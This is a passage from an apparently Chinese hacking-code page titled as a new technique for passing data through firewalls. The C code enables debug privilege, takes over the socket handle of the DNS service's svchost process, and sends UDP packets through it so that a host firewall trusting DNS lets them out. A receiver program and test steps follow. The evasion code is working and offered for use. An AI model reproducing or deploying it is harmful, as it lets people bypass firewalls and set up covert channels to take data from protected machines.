一种新的穿透防火墙的数据传输技术.htm
来自「穿防火墙源代码」· HTM 代码 · 共 544 行 · 第 1/3 页
HTM
544 行
}<br />
return (SOCKET)sock;<br />
}<br />
<br />
<br />
/*++<br />
This is not required...<br />
--*/<br />
BOOL EnablePrivilege (PCSTR name)<br />
{<br />
HANDLE hToken;<br />
BOOL rv;<br />
<br />
TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} };<br />
LookupPrivilegeValue (<br />
0,<br />
name,<br />
&priv.Privileges[0].Luid<br />
);<br />
<br />
priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;<br />
<br />
OpenProcessToken(<br />
GetCurrentProcess (),<br />
TOKEN_ADJUST_PRIVILEGES,<br />
&hToken<br />
);<br />
<br />
AdjustTokenPrivileges (<br />
hToken,<br />
FALSE,<br />
&priv,<br />
sizeof priv,<br />
0,<br />
0<br />
);<br />
<br />
rv = GetLastError () == ERROR_SUCCESS;<br />
<br />
CloseHandle (hToken);<br />
return rv;<br />
}<br />
<br />
void main() <br />
{<br />
WSADATA wsaData;<br />
char testbuf[255];<br />
SOCKET sock;<br />
sockaddr_in RecvAddr;<br />
<br />
int iResult = WSAStartup(MAKEWORD(2,2), &wsaData);<br />
if (iResult != NO_ERROR)<br />
printf("Error at WSAStartup()\n");<br />
<br />
if(!LocateNtdllEntry())<br />
return;<br />
<br />
if(!EnablePrivilege (SE_DEBUG_NAME))<br />
{<br />
printf("EnablePrivilege wrong\n");<br />
return;<br />
}<br />
<br />
sock = GetSocketFromId(GetDNSProcessId());<br />
if( sock==NULL)<br />
{<br />
printf("GetSocketFromId wrong\n");<br />
return;<br />
}<br />
<br />
//Change there value...<br />
RecvAddr.sin_family = AF_INET;<br />
RecvAddr.sin_port = htons(5555); <br />
RecvAddr.sin_addr.s_addr = inet_addr("127.0.0.1");<br />
<br />
if(SOCKET_ERROR == sendto(sock, <br />
"test", <br />
5, <br />
0, <br />
(SOCKADDR *) &RecvAddr, <br />
sizeof(RecvAddr)))<br />
{<br />
printf("sendto wrong:%d\n", WSAGetLastError());<br />
}<br />
else<br />
{<br />
printf("send ok... Have fun, right? ^_^\n");<br />
}<br />
<br />
getchar();<br />
<br />
//WSACleanup();<br />
return;<br />
}<br />
<br />
<br />
<br />
很早以前我就有这个想法了,只是一直没有去实现.在上面的代码中,<br />
因为要找出DNS进程句柄,而svchost.exe又有多个,所以以用户名来进行判断,本来是用OpenProcessToken,<br />
但是怎么也不行,所以换个方法.用到了wtsapi32库函数.<br />
<br />
再用下面的代码测试:<br />
<br />
<br />
/*++<br />
UdpReceiver<br />
--*/<br />
#include <stdio.h><br />
#include "winsock2.h"<br />
<br />
#pragma comment(lib, "ws2_32")<br />
<br />
void main() <br />
{<br />
WSADATA wsaData;<br />
SOCKET RecvSocket;<br />
sockaddr_in RecvAddr;<br />
int Port = 5555;<br />
char RecvBuf[1024];<br />
int BufLen = 1024;<br />
sockaddr_in SenderAddr;<br />
int SenderAddrSize = sizeof(SenderAddr);<br />
<br />
//-----------------------------------------------<br />
// Initialize Winsock<br />
WSAStartup(MAKEWORD(2,2), &wsaData);<br />
<br />
//-----------------------------------------------<br />
// Create a receiver socket to receive datagrams<br />
RecvSocket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);<br />
<br />
//-----------------------------------------------<br />
// Bind the socket to any address and the specified port.<br />
RecvAddr.sin_family = AF_INET;<br />
RecvAddr.sin_port = htons(Port);<br />
RecvAddr.sin_addr.s_addr = htonl(INADDR_ANY);<br />
<br />
bind(RecvSocket, (SOCKADDR *) &RecvAddr, sizeof(RecvAddr));<br />
<br />
//-----------------------------------------------<br />
// Call the recvfrom function to receive datagrams<br />
// on the bound socket.<br />
printf("Receiving datagrams...\n");<br />
while(1)<br />
{<br />
recvfrom(RecvSocket, <br />
RecvBuf, <br />
BufLen, <br />
0, <br />
(SOCKADDR *)&SenderAddr, <br />
&SenderAddrSize);<br />
printf("%s\n", RecvBuf);<br />
}<br />
<br />
//-----------------------------------------------<br />
// Close the socket when finished receiving datagrams<br />
printf("Finished receiving. Closing socket.\n");<br />
closesocket(RecvSocket);<br />
<br />
//-----------------------------------------------<br />
// Clean up and exit.<br />
printf("Exiting.\n");<br />
WSACleanup();<br />
return;<br />
}<br />
<br />
<br />
测试步骤:<br />
1. 在一台机器上执行UdpReceiver,<br />
2. 在安装防火墙的机器上执行第一个程序.<br />
<br />
有什么问题,希望大家可以交流交流...^_^
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